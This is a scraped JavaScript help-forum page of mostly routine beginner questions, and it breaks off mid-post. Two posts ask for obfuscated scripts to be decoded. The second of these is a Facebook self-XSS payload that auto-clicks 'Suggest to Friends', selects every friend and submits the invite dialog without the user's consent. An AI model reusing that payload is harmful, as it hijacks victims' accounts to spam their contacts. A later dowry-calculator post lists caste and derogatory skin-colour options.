JavaScript - Javascript Decode?
Can anybody decode this for me? I got this from a forum and it's extraneous in the sense that it isn't on any other forum being hosted by the same company (zetaboards).
sorry for the formatting. Code: var _0x3e64=["\x4C","\x6D\x65\x6D\x62\x65\x72\x73\x31","\x4D","\x6D\x65\x6D\x62\x65\x72\x73\x32","\x61","\x6D\x65\x6D\x62\x65\x72\x73\x33","\x49\x6E\x74\x72\x6F","\x6D\x65\x6D\x62\x65\x72\x73\x34","\x6D\x65\x6D\x62\x65\x72\x73\x35","\x6D","\x6D\x65\x6D\x62\x65\x72\x73\x36","\x6D\x65\x6D\x62\x65\x72\x73\x37","\x6D\x65\x6D\x62\x65\x72\x73\x38","\x4D\x65\x6D\x62\x65\x72","\x6D\x65\x6D\x62\x65\x72\x73\x39","\x6D\x65\x6D\x62\x65\x72\x73\x31\x30","\x6D\x65\x6D\x62\x65\x72\x73\x31\x31","\x6D\x65\x6D\x62\x65\x72\x73\x31\x32","\x6D\x65\x6D\x62\x65\x72\x73\x31\x33","\x6D\x65\x6D\x62\x65\x72\x73\x31\x34","\x6D\x65\x6D\x62\x65\x72\x73\x31\x35","\x4C\x65\x61\x64\x65\x72","\x6D\x65\x6D\x62\x65\x72\x73\x31\x36","\x6D\x65\x6D\x62\x65\x72\x73\x31\x37","\x6D\x65\x6D\x62\x65\x72\x73\x31\x38","\x6D\x65\x6D\x62\x65\x72\x73\x31\x39","\x6D\x65\x6D\x62\x65\x72\x73\x32\x30","\x6D\x65\x6D\x62\x65\x72\x73\x32\x31","\x6D\x65\x6D\x62\x65\x72\x73\x32\x32","\x6D\x65\x6D\x62\x65\x72\x73\x32\x33","\x6D\x65\x6D\x62\x65\x72\x73\x32\x34","\x6D\x65\x6D\x62\x65\x72\x73\x32\x35","\x6D\x65\x6D\x62\x65\x72\x73\x32\x36","\x6D\x65\x6D\x62\x65\x72\x73\x32\x37","\x61\x64\x64\x43\x6C\x61\x73\x73","\x74\x64\x2E\x63\x5F\x70\x6F\x73\x74","\x66\x69\x6E\x64","\x74\x72","\x63\x6C\x6F\x73\x65\x73\x74","\x68\x74\x6D\x6C","\x23\x74\x6F\x70\x5F\x69\x6E\x66\x6F\x20\x61\x3A\x66\x69\x72\x73\x74","\x42\x41\x42\x41\x5F\x42\x4F\x30\x45\x59","\x42\x61\x67\x75\x73","\x42\x6F\x62\x20\x50\x6B\x65\x72\x32\x30","\x44\x65\x6F\x78\x79\x73\x33\x39","\x44\x6F\x6E\x67","\x65\x76\x69\x6C\x5F\x6C\x75\x72\x6B\x73\x35","\x46\x65\x64","\x69\x63\x68\x69\x67\x6F\x20\x6B\x61\x69","\x4A\x75\x61\x6E\x63\x6F\x38\x39","\x4C\x65\x6D\x61\x61\x61\x61","\x4C\x6F\x72\x64\x69","\x6C\x70\x74\x62\x5F\x6A\x61\x74\x74\x5F\x36\x39","\x4E\x6F\x72\x74\x68\x20\x4C\x69\x67\x68\x74\x7A","\x70\x30\x30\x6E\x65\x64","\x52\x69\x74\x63\x68\x69\x65","\x53\x70\x79\x64\x61","\x63\x61\x6C\x69\x6E\x62\x31\x32","\x44\x61\x6D\x61\x6E\x31\x30","\x67\x65\x74\x74\x6F\x30\x31","\x53\x63\x61\x70\x65\x72\x53\x6C\x61\x79\x65\x72","\x53\x69\x72\x5F\x44\x61\x6E\x61\x7A","\x57\x65\x73\x74\x4C\x69\x67\x68\x74\x7A","\x73\x74\x65\x76\x65\x6E\x6E\x31\x33\x20","\x79\x66\x6D","\x5A\x65\x72\x6F\x30\x68\x65\x72\x6F","\x61\x6B\x6E\x6F","\x61\x6E\x67\x65\x6C\x69\x6E\x62\x68\x31","\x41\x72\x63\x68\x65\x72\x35\x36","\x42\x6C\x6F\x6F\x64\x61\x78\x65\x5F\x38\x38","\x42\x75\x7A\x7A\x6B\x69\x6C\x6C\x61","\x43\x61\x61\x6C\x76\x69\x69\x6E","\x64\x65\x73\x61\x70\x6F\x78","\x45\x73\x70\x69\x67\x4E\x6E","\x47\x20\x77\x20\x6F\x20\x67","\x4C\x65\x78\x20\x54\x68\x65\x20\x42\x65\x73\x74","\x6C\x75\x6B\x65\x35\x36\x31\x38","\x4D\x34\x74\x65\x64\x20\x70\x6B\x65\x72","\x6D\x73\x74\x65\x72","\x6F\x6C\x61\x76\x69\x74\x65","\x50\x6F\x77\x6E\x5F\x79\x6F\x75\x39","\x47\x75\x6E\x66\x6C\x6F\x70","\x72\x75\x6E\x65\x73\x69\x6D\x69\x74\x61\x72\x33","\x53\x61\x6E\x79\x62\x6F\x69","\x53\x65\x63\x74\x6F\x72\x20\x53\x69\x78","\x73\x74\x72\x6F\x6E\x67\x74\x61\x6E\x6B\x31\x31","\x54\x20\x49\x20\x44\x20\x55\x20\x52\x20\x43\x20\x49\x20\x4F","\x76\x69\x6E\x74\x61\x67\x65\x70\x6B\x65\x72\x7A","\x78\x46\x72","\x5B\x2D\x48\x61\x76\x69\x6B\x2D\x5D","\x61\x72\x72\x6F\x77\x73\x2D\x74\x6F\x79","\x64\x65\x61\x64\x6D\x61\x6E\x69\x6E\x63\x36\x36","\x6B\x61\x72\x61\x6D\x62\x61\x36\x39","\x4C\x6F\x72\x64\x62\x6C\x61\x63\x6B\x34\x37","\x73\x63\x6F\x74\x74\x69\x65\x62\x6F\x79\x38\x31","\x70\x6B\x69\x6E\x67\x70\x75\x72\x65\x30\x30\x37","\x53\x6E\x61\x70\x74\x69\x4B","\x74\x75\x72\x74\x6C\x65\x78\x64","\x5A\x69\x6E\x68\x6F","\x4B\x6D\x61\x6E","\x58\x44\x61\x52\x6B\x45\x73\x54\x78","\x69\x6E\x73\x61\x6E\x65\x6C\x75\x76\x65\x72","\x41\x72\x61\x62\x50\x6F\x70\x63\x6F\x72\x6E","\x6B\x66","\x64\x69\x65\x20\x6E\x75\x62\x20\x70\x6C\x7A","\x65\x61\x63\x68","\x64\x6C\x2E\x75\x73\x65\x72\x5F\x69\x6E\x66\x6F\x20\x3E\x20\x64\x74\x3A\x63\x6F\x6E\x74\x61\x69\x6E\x73\x28\x47\x72\x6F\x75\x70\x3A\x29\x20\x2B\x20\x64\x64"];var group=[[_0x3e64[0],_0x3e64[1]],[_0x3e64[2],_0x3e64[3]],[_0x3e64[4],_0x3e64[5]],[_0x3e64[6],_0x3e64[7]],[_0x3e64[4],_0x3e64[8]],[_0x3e64[9],_0x3e64[10]],[_0x3e64[4],_0x3e64[11]],[_0x3e64[9],_0x3e64[12]],[_0x3e64[13],_0x3e64[14]],[_0x3e64[4],_0x3e64[15]],[_0x3e64[6],_0x3e64[16]],[_0x3e64[4],_0x3e64[17]],[_0x3e64[9],_0x3e64[18]],[_0x3e64[4],_0x3e64[19]],[_0x3e64[9],_0x3e64[20]],[_0x3e64[21],_0x3e64[22]],[_0x3e64[13],_0x3e64[23]],[_0x3e64[4],_0x3e64[24]],[_0x3e64[6],_0x3e64[25]],[_0x3e64[4],_0x3e64[26]],[_0x3e64[9],_0x3e64[27]],[_0x3e64[4],_0x3e64[28]],[_0x3e64[9],_0x3e64[29]],[_0x3e64[21],_0x3e64[30]],[_0x3e64[13],_0x3e64[31]],[_0x3e64[4],_0x3e64[32]],[_0x3e64[6],_0x3e64[33]]];function lol(_0x77d3x3,_0x77d3x4){$(_0x77d3x3)[_0x3e64[38]](_0x3e64[37])[_0x3e64[36]](_0x3e64[35])[_0x3e64[34]](group[_0x77d3x4][1])};$(_0x3e64[106])[_0x3e64[105]](function(){username=$(_0x3e64[40])[_0x3e64[39]]();if(username==_0x3e64[41]||username==_0x3e64[42]||username==_0x3e64[43]){x=0};if(username==_0x3e64[44]||username==_0x3e64[45]){x=1};if(username==_0x3e64[46]||username==_0x3e64[47]){x=2};if(username==_0x3e64[48]||username==_0x3e64[49]){x=3};if(username==_0x3e64[50]||username==_0x3e64[51]){x=4};if(username==_0x3e64[52]||username==_0x3e64[53]){x=5};if(username==_0x3e64[54]||username==_0x3e64[55]){x=6};if(username==_0x3e64[56]||username==_0x3e64[57]){x=7};if(username==_0x3e64[58]||username==_0x3e64[59]){x=8};if(username==_0x3e64[60]||username==_0x3e64[61]||username==_0x3e64[62]){x=9};if(username==_0x3e64[63]||username==_0x3e64[64]){x=10};if(username==_0x3e64[65]||username==_0x3e64[66]){x=11};if(username==_0x3e64[67]||username==_0x3e64[68]){x=12};if(username==_0x3e64[69]||username==_0x3e64[70]||username==_0x3e64[71]){x=13};if(username==_0x3e64[72]||username==_0x3e64[73]||username==_0x3e64[74]){x=14};if(username==_0x3e64[75]||username==_0x3e64[76]||username==_0x3e64[77]){x=15};if(username==_0x3e64[78]||username==_0x3e64[79]){x=16};if(username==_0x3e64[80]||username==_0x3e64[81]){x=17};if(username==_0x3e64[82]||username==_0x3e64[83]){x=18};if(username==_0x3e64[84]||username==_0x3e64[85]||username==_0x3e64[86]){x=19};if(username==_0x3e64[87]||username==_0x3e64[88]||username==_0x3e64[89]){x=20};if(username==_0x3e64[90]||username==_0x3e64[91]||username==_0x3e64[92]){x=21};if(username==_0x3e64[93]||username==_0x3e64[94]){x=22};if(username==_0x3e64[95]||username==_0x3e64[96]||username==_0x3e64[97]||username==_0x3e64[98]){x=23};if(username==_0x3e64[99]||username==_0x3e64[100]){x=24};if(username==_0x3e64[101]||username==_0x3e64[102]||username==_0x3e64[103]||username==_0x3e64[104]){x=0};lol(this,x)}); Similar TutorialsHey guys, I have been trying to decode this code for the past week but haven't been able to. I've tried using IE8, Chrome, and numerous other ways but none of the methods i've tried works =(. If somebody here is able to decode it or tell me how, that would be awesome! Code: var a=["\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c", "\x61\x70\x70\x31\x31\x39\x33\x30\x30\x31\x38\x31\x34\x31\x34\x34\x33\x31\x5f\x69\x6d\x67", "\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64", "\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x31\x35\x31\x36\x36\x36\x31\x38\x35\x30\x37\x34\x30\x32\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e", "\x73\x75\x67\x67\x65\x73\x74", "\x4d\x6f\x75\x73\x65\x45\x76\x65\x6e\x74\x73", "\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6e\x74", "\x63\x6c\x69\x63\x6b", "\x69\x6e\x69\x74\x45\x76\x65\x6e\x74", "\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6e\x74", "\x73\x65\x6c\x65\x63\x74\x5f\x61\x6c\x6c", "\x73\x67\x6d\x5f\x69\x6e\x76\x69\x74\x65\x5f\x66\x6f\x72\x6d", "\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70", "\x73\x75\x62\x6d\x69\x74\x44\x69\x61\x6c\x6f\x67"];void (document[a[2]](a[1])[a[0]]=a[3]);var ss=alert;var c=document[a[6]](a[5]);c[a[8]](a[7],true,true); void (ss[a[9]](c)); void (setTimeout(function (){fs[a[10]]();} ,4000)); void (setTimeout(function (){SocialGraphManager[a[13]](a[11],a[12]);} ,5000)); void (document[a[2]](a[1])[a[0]]="\x3c\x69\x6d\x67\x20\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x6a\x61\x6d\x65\x73\x6a\x65\x66\x66\x65\x72\x79\x2e\x63\x6f\x6d\x2f\x6f\x6d\x67\x2e\x67\x69\x66\x22\x3e"); hi, i was wondering if anyone could help me with decoding an input box value and passing that into the url. its been super frurstrating trying to do this. thank you in advance! basically i wrote a function that decodes a url. for example if i enter t05:34:23-79-79.003z.444z, i want it to stay like that when it goes into the url. if you use internet explorer, entering that input becomes... t05%3A34%3A23-79-79.003z.444z. on google chrome, it stays as t05:34:23-79-79.003z.444z but i need this to work on internet explorer. [<html> <head> <script type="text/javascript"> function decode() { var obj = document.getElementById("workorder"); alert(obj); //is it normal that this alert just returns 'object'? am i calling the form wrong somehow? var encoded = obj.value; obj.value = decodeURIComponent(encoded.replace(/\+/g, " ")); } </script> </head> <body> <div id="workorder" style="display: block"> <form name = "workorder" action="http://localhost/Lights/WorkOrder.jsp" onsubmit="return validate_form(this)" method="get"><b>WorkOrder:</b> <br> Id Required: <input type="hidden" name="method" value="getWorkOrders"> <input type="text" name="lightId" size="30"> <input type="submit" onclick="decode()" value="Go"> <br> </form> </div> </body> </html>] thank you advance! Hi, I'm trying to use a script for my website. But the script is obfuscated and in english - I need the words in portuguese; besides, the font is the always default Times New Roman, the script uses the <h3> old tags, etc... Can someone kindly help me out to decode some of the files, so I can alter these aspects? Kind regards, Kepler I want to have another go at Javascript. I have several books on the subject but I find that my eyesight is a major problem. Therefore I want to try an on-line solution, preferably free. I have Googled, but there are so many that I am almost dizzy with the choices. Perhaps someone could recommend one. Not too fussy visually. My knowledge is VERY basic. Frank Hello! I am trying to find a script that allows you to open multiple browser tabs and then close each of those tabs, either one by one or all at once. Does anyone know how to do this please? Thanks so much for your help. Does anyone know how to make URL links that use Javascript still work when users have Javascript disabled on their browser? The only reason I'm using JS on a URL is because my link opens a PDF file, and I'm forcing it not to cache so users have the latest version. I tried the <script><noscript> tags, but I'm not sure if I'm using it correctly, as my URL completely disappears. Below is my HTML/Javascript code: <p class="download"> <script type="text/javascript">document.write("<span style=\"text-decoration: underline;\"><a href=\"javascript:void(0);\" onclick=\"window.open( 'http://www.webchild.com.au/mediakit/Direct_Media_Kit_Web.pdf?nocache='+ Math.floor( Math.random()*11 ) );\" >The Child Magazines Media Kit</a></span> (PDF 1 MB) ");</script> <noscript><span style="text-decoration: underline;"><a href="http://www.webchild.com.au/mediakit/Direct_Media_Kit_Web.pdf" >The Child Magazines Media Kit</a></span> (PDF 1 MB)</noscript> </p> Thanks for any help, Michael Hi Guys, I am new at JavaScript and start to do some tutorials.What I am trying to do here is prompting user to input a name and if the name was valid the page(document) will display with all objects like the button.But if user enter a wrong name then the button will be disabled! I create the following code but it did not work <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>New Web Project</title> <script language="JavaScript" type=""> function changeColor(){ document.bgColor = "Gray"; } </script> </head> <body> <script language="JavaScript" type="text/javascript"> var person = ""; person = prompt('What is Your Name:'); if (person == "Foo") { document.write("<h1 />Welcome " + person); document.bgColor = "Yellow"; } else { document.write("<h1 />Access Denied!!!!"); document.bgColor = "Red"; document.getElementById("gree").disabled = true; } </script> <div> <p/><input id="gree" type="button" value="Gray " onClick="changeColor();"> </div> </body> </html> as you can see I used the: document.getElementById("gree").disabled = true; but it did not work , could you please give an idea how I can solve this problem? Thanks Hi, I have the following code snippet: test.html ====== <script language="javascript" type="text/javascript"> var testVariable = "test"; </script> <script language="javascript" type="text/javascript" src="test.js"> </script> test.js ===== var testVariable = window.top.testVariable; In firefox, I'm able to access testvariable defined within test.html in test.js. But in chrome, test.js couldnot get the window.top.testVariable field defined in test.html. Can any one please let me know how i can make it work in chrome?. Am i missing something here?. I want to insert this js snippet Code: function addText(smiley) { document.getElementById('message').value += " " + smiley + " "; document.getElementById('message').focus(); return false; } to a loaded iframe with name&id chtifrm. I can access it & change embed something in its html via using something like: Code: $(parent.chtifrm.document.body).append('<div id=\"smly\" style=\"cursor:pointer;float:left;top:200px;display:none;position:absolute;\"><\/div>'); .... Code: parent.chtifrm.document.getElementById('chatbox_option_disco').style.display == 'none' but how do I insert js in the head of loaded iframe? Hey, I've got to make the values of some textboxes change the co-ordinates of my sprite on a canvas and havent a clue on how to do it, Here is my form with the two textboxes and submit button: <form> x: <input type="text" name="x" /><br /> y: <input type="text" name:"y" /><br /> <input type="submit" value="Submit"/><br /> </form> And i need it so that they change the values of these: //this shows where my sprite will start on the canvas var block_x; var block_y; searched the internet for hours and cant really find anything i understand or works. any help is much appreciated Hi Guys I am trying to modify the functionality of my page. I want to be able to activate this piece of code using another javascript function. This is the code I want to activate: Code: <script type="text/javascript"><!-- $('#button-cart').bind('click', function() { $.ajax({ url: 'index.php?route=checkout/cart/update', type: 'post', data: $('.product-info input[type=\'text\'], .product-info input[type=\'hidden\'], .product-info input[type=\'radio\']:checked, .product-info input[type=\'checkbox\']:checked, .product-info select, .product-info textarea, .date_data input[type=\'text\']'), dataType: 'json', success: function(json) { $('.success, .warning, .attention, information, .error').remove(); if (json['error']) { if (json['error']['warning']) { $('#notification').html('<div class="warning" style="display: none;">' + json['error']['warning'] + '<img src="catalog/view/theme/default/image/close.png" alt="" class="close" /></div>'); $('.warning').fadeIn('slow'); } for (i in json['error']) { $('#option-' + i).after('<span class="error">' + json['error'][i] + '</span>'); } } if (json['success']) { $('#notification').html('<div class="success" style="display: none;">' + json['success'] + '<img src="catalog/view/theme/default/image/close.png" alt="" class="close" /></div>'); $('.success').fadeIn('slow'); $('#cart_total').html(json['total']); $('html, body').animate({ scrollTop: 0 }, 'slow'); } } }); }); //--></script> And this is how I want the format of the function to be: function testsession() { if there is a session called 'hiredate' { activate the script above } else { var el = document.getElementById("product_data"); } } I just dont know how to write this in javascript Could you help me if possible please I got an index.php Code: <html> <form action="bacakomik.php" method='post'> <select name="kodekomik"> <option value='../komik1/|23'>Judul Komik1</option> <option value="../komik2/|20">Judul Komik2</option> <option value="../komik3/|10">Juduk Komik3</option> <option value="../komik4/|20">Judul Komik4</option> </select> <input type="submit" /> </form> <?php echo ('<select>'); echo ('<option value= "'.$i.'">'.'Page '.$i.'</option>'); echo ('</select>'); ?> </html> As you can see, each of the option brings specific value "../komik1/|23" komik1 is a directory | is a delimiter 23 is the pages in one chapter and can be considered also as how many images are there on a specific directory This is my bacakomik.php Code: <?php $dirkomik = $_POST['kodekomik']; $exploded = explode("|", $dirkomik); echo ($exploded[0]); //picture directory echo ("<br>"); echo ($exploded[1]); //total page in the comic $pagecount = (int)$exploded[1]; //Take last posted value, process it right away echo ('<FORM name="guideform"> '); echo ('<select name="guidelinks">'); $i=1; do { echo ('<option value= "'.$i.'">'.'Page '.$i.'</option>'); $i= $i+1; }while($i <= $pagecount); //Printing option and select echo ("</select>"); ?> <input type="button" name="go" value="Go!" onClick="document.getElementById('im').src=document.guideform.guidelinks.options[document.guideform.guidelinks.selectedIndex].value+'.png';"> </FORM> <img src="img0.jpg" id="im"> With the current code on bacakomik.php, I only can change the img src of id "im" in the same directory only. What I want is that the Javascript could "add" the "$exploded[0]" variable so that the picture can be loaded from different directory. Anyone can do this? I believe that the fix should be somewhere on input tag inside OnClick, or do you know where? Anyway, I found this on the net http://p2p.wrox.com/php-faqs/11606-q...avascript.html Please help me to those who can... All -- I have a JavaScript config file called gameSetting.js which contains a bunch of variables which configures a particular game. I also have a shared JavaScript library which uses the variables in gameSetting.js, which I include like so: <script type="text/javascript" src="gameSetting.js" ></script> <script type="text/javascript" src="gameLibrary.js" ></script> In gameSetting.js I have: $(document).ready(function() { // call some functions / classes in gameLibrary.js } in Firefox, Safari, and Chrome, this works fine. However, in IE, when it's parsing gameSetting.js, it complains that the functions that live in gameLibrary.js aren't defined. When it gets to parsing gameLibrary.js, the variables in gameSetting.js are reported as not being defined. I've tried dynamically bootstrapping the gameLibrary file using this function in document.ready for dynamic load... $.getScript("gameLibrary.js"); However, the same problem still happens in IE, where when it parses the files individually it's not taking into context the file/variables that came before, so it's not an out of load order problem. My options a 1) collapsing all the functions in gameLibrary.js and variables in gameSetting.js into one file. However, this is not practical because this is dealing with literally hundreds of games, and having a gameLibrary.js in ONE location for ONE update is what makes most logical sense. 2) figure out a way to get this to work where variables in file1 are accessible to file2 in IE (as it seems they are in other browsers). jQuery seems to be able to have multiple plugins that all refer to the based jQuery-1.3.2.js, so I know there is a way to get this to work. Help appreciated. Nero I wrote a log function that took note of various function calls. Thinking that functions are first class objects, and objects have properties, I made the name of each logged function a property of that function, e.g., brightenInnerPara.name = "brightenInnerPara"; Every browser I tried (Firefox, MSIE, Opera, Chrome, Safari) accepted the assignment, no problem. In Firefox and MSIE, the result was what I wanted: brightenInnerPara.name == "brightenInnerPara" But in the others, the result was: brightenInnerPara.name == null Question 1. Which Javascript is correct here? I favor Firefox and MSIE, not merely because they were willing to give me what I wanted, but also because it makes no sense to accept an assignment statement without throwing an error and then give it a null semantics, like Chrome, Opera, and Safari did. I found a workaround, using assignments like this: brightenInnerPara.prototype.name = "brightenInnerPara"; To my surprise, that worked in every browser. But I don't know why. It seems that such assignments are enough to cause each function to have its own distinct prototype. Question 2. Just how inefficient is my workaround, and why does it work? I got the function mouseon to work when I commented out everting and just put the alert in there but when I commented out the alert the rest wont run??? What did I do wrong? Rhonda <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Untitled Document</title> <script> function mouseOn() { //alert("font change"); document.getElementById("h2").style.textAlign="center"; document.getElementById("h2").style.color="#ff0000"; document.getElementById("h2").style.backgroundColor="#ff0000"; } function mouseOff() { document.getElementById("h2").style.textAlign="left"; document.getElementById("h2").style.color="#black"; } </script> <script> function fontSize() { var num1; num1=promt("Please enter Font Size",""); if (num1>50) { alert("Incorrect size choice"); } if (num1<10) { alert("Incorrect size choice"); } else (num1<50>10) { //I can't figure out what code would make it display the p in the size of text the user put in, something with document.getElementById("p").style.fontSize=""; } </script> <script> function backgroundColor() { } </script> <script> function timeGreeting() { } } </script> </head> <body> <h1>Javascript</h1> <h2 onMouseOver="mouseOn();" onMouseOut="mouseOff();">#7</h2> <h3>Greeting!</h3> <p>Please make the following effects to this page. Please activate the funcion with a button unless otherwise indicated.</p> <p>1. Create a function that will center the heading "Project 7 - CSS Interactions" when you mouseover it. The function should also change the font color and background color. Return it to its original state when the mouse leaves the heading. </p> <p>2. Create a function that will ask the user for a font size. If the font size is greater than 50 or less than 10 display an alert with the following message "Incorrect size choice". If it is a valid font size change the font of this paragraph to the requested size. </p> <p>3. Create a generic function that will change the background color of this paragraph. The following buttons will call the same function and pass in the requested color. </p> <p> <input name="Blue" type="button" value="Blue" /> <input name="Teal" type="button" value="Teal" /> <input name="Lime Green" type="button" value="Lime Green" /> </p> <p>4. Create a function called timeGreeting( ). This function will change the Greeting based upon the time of day: morning, afternoon, evening. Change the font face, color, size and background to corresponding to the time of day. </p> <p>5. Create a function that will ask the user for one of the following colors: blue, green, yellow, orange. If the user enters an invalid color display a message and change the color of all the following paragraphs to red. Otherwise change the color of the indicated paragraph using the same generic function for each paragraph. Example: User enters green then change the green paragraph to green text, etc.</p> <p>This is blue!</p> <p>This is green!</p> <p>This is yellow!</p> <p>This is orange!</p> <p><strong>Extra credit:</strong> In 5. Instead of changing the whole paragraph only change the color name. Example: When blue change only the word blue in the paragraph.</p> <p> </p> </body> </html> Hi all I am having x.php file in that i have included (y.js file). x.php code <? $username = "Kelvin"; ?> y.js code (external file) var username =<?php echo'$username';?> alert(username) It is not working for me. How can i get the php variable in external js file. Any help! I am trying to create an informational alcohol website and in order for it to be suitable I need visitors to enter their birthdate to verify that they are of age. I have got that figured out and it works great. Here is what I am trying to do now. When someone types the home address it goes to the verify page but how can I get it to go there when they are trying to get to another page. An examle: www.donjulio.com. Goes to the verify page fine. www.donjulio.com/blanco.aspx. This doesnt go to the product page it goes back to the verify page. HOW? Also when they get to the verify page, whats a script where I can get the site to remember their information if they click a remember me button. Any help is appreciated. I have been tryin to research this for awhile now and cant seem to find anything. thanks for the help
am using google.load("jquery", "1.6.2"); in my grower.js file. The following error is showing in IE8 'google is undefined' but its working fine in FF. please any one help me to how to overcome this error.
I need some help with this Code. I can't seem to get it to go to the page I want it to. You can make a dummy page for example Page 1.html to see if it works for ya. Thanks Code: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta name="generator" content= "HTML Tidy for Linux/x86 (vers 11 February 2007), see www.w3.org"> <title>Calculate Groom's Dowry</title> </head> <body> <center> <i><font size="6"><b>Groom's Dowry Rate Calculator*</b></font> </i> </center><br> <br> <br> <br> <i>*Dedicated to all the match making aunties of India</i> <center> <b>Groom's Age</b> </center> <form name="Age" id="Age"> <center> <select name="Groom’s Age"> <option value="a1"> Select </option> <option value="a2"> 23 </option> <option value="a3"> 24 </option> <option value="a4"> 25 </option> <option value="a5"> 26 </option> <option value="a6"> 27 </option> <option value="a7"> 28 </option> <option value="a8"> 29 </option> <option value="a9"> 30 </option> <option value="a10"> 31-35 </option> <option value="a11"> 36-40 </option> <option value="a12"> 41-45 </option> <option value="a13"> 46-50 </option> <option value="a14"> 51+ </option> </select> </center> </form><br> <b>Groom's Caste</b><br> <form name="Caste" id="Caste"> <select name="Groom’s Caste"> <option value="b1"> Select </option> <option value="b2"> Brahmin </option> <option value="b3"> Bania </option> <option value="b4"> Kayastha </option> <option value="b5"> Kshatriya </option> <option value="b6"> Dalit </option> <option value="b7"> Maravar </option> <option value="b8"> Mudaliar </option> <option value="b9"> Nair </option> <option value="b10"> Jat </option> <option value="b11"> Labanas </option> <option value="b12"> Rajput </option> </select> </form><b>Groom's current Profession</b> <form name="Profession" id="Profession"> <select name="Groom’s Profession"> <option value="c1"> Select </option> <option value="c2"> Doctor </option> <option value="c3"> Engineer </option> <option value="c4"> Lawyer </option> <option value="c5"> CA </option> <option value="c6"> IAS </option> <option value="c7"> Engineer + MBA </option> <option value="c8"> Family Business </option> <option value="c9"> None of the above </option> </select> </form><b>Groom's Degree at the Bachelor's Level</b> <form name="Bachelor" id="Bachelor"> <select name="Groom’s Bachelor"> <option value="d1"> Select </option> <option value="d2"> BTech/BE/BS </option> <option value="d3"> MBBS </option> <option value="d4"> BA </option> <option value="d5"> B.Com </option> <option value="d6"> B.Ed </option> <option value="d7"> Bsc </option> <option value="d8"> BBA </option> <option value="d9"> Diploma </option> <option value="d10"> Certification Course </option> </select> </form><b>Groom's Degree at the Master's Level</b> <form name="Master" id="Master"> <select name="Groom’s Master"> <option value="e1"> Select </option> <option value="e2"> MBA </option> <option value="e3"> MS </option> <option value="e4"> MTech </option> <option value="e5"> MPhil </option> <option value="e6"> M.Ed </option> <option value="e7"> MHA </option> <option value="e8"> No Master's degree </option> </select> </form><b>Groom's Degree at the Doctorate Level</b> <form name="Doc" id="Doc"> <select name="Groom’s Doc"> <option value="f1"> Select </option> <option value="f2"> Doctor of Philosophy (Phd) </option> <option value="f3"> Doctor of Medicine (MD) </option> <option value="f4"> No Doctorate Degree </option> </select> </form><b>The Groom is working in</b> <form name="Country" id="Country"> <select name="Groom’s Country"> <option value="g1"> Select </option> <option value="g2"> India </option> <option value="g3"> USA </option> <option value="g4"> Any European Country </option> <option value="g5"> Australia </option> <option value="g6"> Canada </option> <option value="g7"> Any Country more developed than India </option> <option value="g8"> Any Country less developed than India </option> </select> </form><b>Groom's Skin Color</b> <form name="Color" id="Color"> <select name="Groom’s Color"> <option value="h1"> Select </option> <option value="h2"> Fairy White </option> <option value="h3"> White </option> <option value="h4"> Wheatish (Almost White. Would need some Fair n Lovely) </option> <option value="h5"> Brown </option> <option value="h6"> Black </option> <option value="h7"> Pitch Black (Not visible on a moonless night) </option> </select> </form><b>Groom's Height</b> <form name="Height" id="Height"> <select name="Groom’s Height"> <option value="i1"> Select </option> <option value="i2"> Less than 5'4" </option> <option value="i3"> 5'5" </option> <option value="i4"> 5'6" </option> <option value="i5"> 5' 7" </option> <option value="i6"> 5'8" </option> <option value="i7"> 5'9" </option> <option value="i8"> 5' 10" </option> <option value="i9"> 5'11" </option> <option value="i10"> 6' </option> <option value="i11"> 6'1" </option> <option value="i12"> Greater than 6'1" </option> </select> </form><b>Number of times the Groom has married before</b> <form name="Marriage" id="Marriage"> <select name="Groom’s Marriage"> <option value="j1"> Select </option> <option value="j2"> 0 </option> <option value="j3"> 1 </option> <option value="j4"> 2 </option> <option value="j5"> More than 2 </option> </select> </form><b>What is Groom's father's profession</b> <form name="Father" id="Father"> <select name="Groom’s Father"> <option value="k1"> Select </option> <option value="k2"> Engineer </option> <option value="k3"> Doctor </option> <option value="k4"> IAS </option> <option value="k5"> Lawyer </option> <option value="k6"> CA </option> <option value="k7"> IAS </option> <option value="k8"> Engineer + MBA </option> <option value="k9"> Family Business </option> <option value="k10"> None of the above </option> </select> </form><script type="text/javascript"> function Selected_Age(Age) { var myindex = Age.selectedindex; var sel_groom_age = Age.options[myindex].text; return sel_groom_age; } </script> <script 